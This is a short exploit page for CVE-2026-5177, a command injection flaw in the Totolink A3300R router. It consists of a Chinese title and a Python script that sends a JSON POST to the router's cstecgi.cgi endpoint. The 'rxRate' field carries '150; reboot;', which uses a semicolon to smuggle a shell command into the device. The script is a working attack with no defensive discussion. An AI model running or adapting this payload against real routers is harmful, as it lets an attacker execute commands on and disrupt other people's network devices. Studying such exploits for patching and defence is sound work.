CVE-2026-5177 Totolink A3300R命令注入漏洞

import requests # Target URL of the vulnerable device target_url = "http://192.168.0.1/cgi-bin/cstecgi.cgi" # Headers to mimic a legitimate browser request headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json", "Accept": "application/json" } # Vulnerable payload in the 'rxRate' parameter # Using a semicolon to chain a simple command (e.g., reboot or ping) payload_data = { "topicurl": "setWiFiBasicCfg", "rxRate": "150; reboot;" } try: # Sending the POST request to trigger the vulnerability response = requests.post(target_url, json=payload_data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")